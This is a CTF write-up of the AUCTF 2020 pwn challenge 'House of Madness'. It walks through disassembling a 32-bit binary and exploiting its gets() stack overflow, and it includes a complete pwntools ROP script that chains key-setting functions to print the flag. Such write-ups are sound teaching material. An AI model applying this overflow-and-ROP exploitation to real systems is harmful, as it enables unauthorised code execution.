AUCTF 2020 Writeup - House of Madness

April 19, 2020
ctf writeup pwn x86 auctf2020

Intro

This is the third pwn challenge. It was solved 100 times and it was worth 897 points.

Description:

Welcome to the House of Madness. Can you pwn your way to the keys to get the relic?

nc challenges.auctf.com 30012

Note: ASLR is disabled for this challenge

You could download the binary here.

$ sha256sum ./house_of_madness
15b1a68ae0e1d4eee4f917cc92412d90fd3a4adbb5a55a83b115e0f438baaf93  house_of_madness

Exploitation

When we launch the program shows a banner and it asks us to make a choice. I tried at this point, without success, a classic buffer overflow.

However if we try to exit the program shows us the direction. Indeed there is a buffer overflow:

$ ./house_of_madness
+------------------------+
|          Welcome       |
|            to          |
|       the House of     |
|          Madness       |
+------------------------+
Can you pwn the house?
1. List Rooms
2. Enter Room
3. Get Current Room Info
4. Quit
Your choice: 4


Wait a minute. This doesn't quit the program... Weird. Hey try entering 'Stephen' in Room 4. I heard the room's magic

1. List Rooms
2. Enter Room
3. Get Current Room Info
4. Quit
Your choice: 2


Choose a room to enter: 4

1. List Rooms
2. Enter Room
3. Get Current Room Info
4. Quit
Your choice: 3


Wow this room is special. It echoes back what you say!
Press Q to exit: Stephen
	You entered 'Stephen'
Welcome to the hidden room! Good Luck
Enter something: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault (core dumped)

So I analyzed the program with checksec and I opened it with radare2:

$ checksec house_of_madness
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
$ r2 -Ad ./house_of_madness

Then I found these interesting functions:

[r2]> afl
.....
0x56556580    8 261          sym.room4
0x5655686b   16 360          sym.get_flag
.....

The room4 function use gets if Stephen was given as first input. However if we try to call directly get_flag, exploiting the buffer overflow, we got:

$ ./exploit.py
It's not going to be that easy. Come on

So I decompiled the get_flag function and it prints the flag iff four keys have the correct values:

void get_flag(void)

{
  int iVar1;
  char local_60 [64];
  FILE *local_20;

  local_20 = fopen("flag.txt","r");
  if (local_20 == (FILE *)0x0) {
    puts("\'flag.txt\' missing in the current directory!");
    exit(0);
  }
  if ((((key1 != '\0') && (key2 != '\0')) && (iVar1 = strcmp(key3,"Dormammu"), iVar1 == 0)) &&
     ((key4._4_4_ ^ 0x537472 | (uint)key4 ^ 0x616e6765) == 0)) {
    fgets(local_60,0x40,local_20);
    printf("Damn you beat the house: %s\n",local_60);
    return;
  }
  if (((key1 != '\0') && (key2 != '\0')) && (iVar1 = strcmp(key3,"Dormammu"), iVar1 == 0)) {
    printf("Surrender, Stephen. Surrender to the reverser");
    return;
  }
  if ((key1 == '\0') || (key2 == '\0')) {
    printf("It\'s not going to be that easy. Come on");
  }
  else {
    puts("You think you are ready? You are ready when the relic decides you are ready.");
  }
  return;
}

So, to print the flag:

Fortunately I rapidly found three useful functions:

get_key1

Iff the first function argument is 0xfeedc0de it writes 1 in key1. We can use it.

get_key2

It’s a bit more complex than get_key1. Indeed it writes 1 in key2, but it should be called before get_key1 and after that key3 points to “Dormammu”.

Given these prerequisites we can use it.

Here the function:

void get_key2(void)
{
  int iVar1;

  if ((key1 != '\x01') && (iVar1 = strcmp(key3,"Dormammu"), iVar1 == 0)) {
    key2 = 1;
    return;
  }
  puts("Need to get the right keys. Reverse the house harder");
  return;
}

set_key4

It checks all other keys, then it writes the correct values in key4.

As get_key2 if key3 points to “Dormammu” we can use it:

void set_key4(void)
{
  int iVar1;
  
  if ((((isInRoom != '\x01') && (key1 != '\0')) && (key2 != '\0')) &&
     (iVar1 = strcmp(key3,"Dormammu"), iVar1 == 0)) {
    key4._0_4_ = 0x616e6765;
    key4._4_4_ = 0x537472;
    return;
  }
  puts("Need to get the right keys. Reverse the house harder");
  return;
}

key3

We need a way to write the correct pointer in key3. It’s the last piece of the puzzle. After some digging I found this function. I analyzed its behavior and it writes in key3 a pointer to “Dormammu”:

[r2]> afl
.....
0x565567cd    1 28           sym.AAsDrwEk
.....
[r2]> pdf @sym.AAsDrwEk
┌ 28: sym.AAsDrwEk ();
│           0x565567cd      55             push ebp
│           0x565567ce      89e5           mov ebp, esp
│           0x565567d0      e848020000     call sym.__x86.get_pc_thunk.ax
│           0x565567d5      052b280000     add eax, 0x282b
│           0x565567da      8d9015e4ffff   lea edx, [eax - 0x1beb]
│           0x565567e0      899040000000   mov dword [eax + 0x40], edx
│           0x565567e6      90             nop
│           0x565567e7      5d             pop ebp
└           0x565567e8      c3             ret
[r2]> ps @0x565567d5 + 0x282b - 0x1beb
Dormammu
[r2]> is~`?v 0x565567d5 + 0x282b + 0x40`
96   0x00003040 0x56559040 GLOBAL OBJ    4        key3

Exploit

So we have all the pieces in place.

This is my exploit:

#!/usr/bin/python2

from pwn import *

prog = context.binary = ELF(os.getcwd() + "/challenge", checksec=False)

if len(sys.argv) > 1:
        host = "challenges.auctf.com"
        port = 30012
        t = remote(host, port)
else:
        t = prog.process()

def init():
        t.recvuntil("Your choice: ")
        t.sendline("2")
        t.recvuntil("Choose a room to enter: ")
        t.sendline("4")
        t.recvuntil("Your choice: ")
        t.sendline("3")
        t.recvuntil("Press Q to exit: ")
        t.sendline("Stephen")
        t.recvuntil("Enter something: ")
init()

base = 0x56555000
pebx = 0x56556aaa

offset = 28
payload = "P"*offset
payload += pack(prog.symbols["AAsDrwEk"] + base)
payload += pack(prog.symbols["get_key2"] + base)
payload += pack(prog.symbols["get_key1"] + base)
payload += pack(pebx)
payload += pack(0xfeedc0de)
payload += pack(prog.symbols["set_key4"] + base)
payload += pack(prog.symbols["get_flag"] + base)

t.sendline(payload)

t.interactive()
t.close()

And this is the flag:

$ ./exploit.py
.....
Damn you beat the house: auctf{gu3ss_th3_h0us3_1sn't_th4t_m4d}
.....

house of madness solved banner

AUCTF 2020 Writeup - Pick Up That CAN

May 1, 2020
ctf writeup car-hacking can-bus auctf2020

AUCTF 2020 Writeup - Remote School

April 20, 2020
ctf writeup pwn x86 auctf2020

AUCTF 2020 Writeup - Password Cracking Challenges

April 20, 2020
ctf writeup password cracking hashcat auctf2020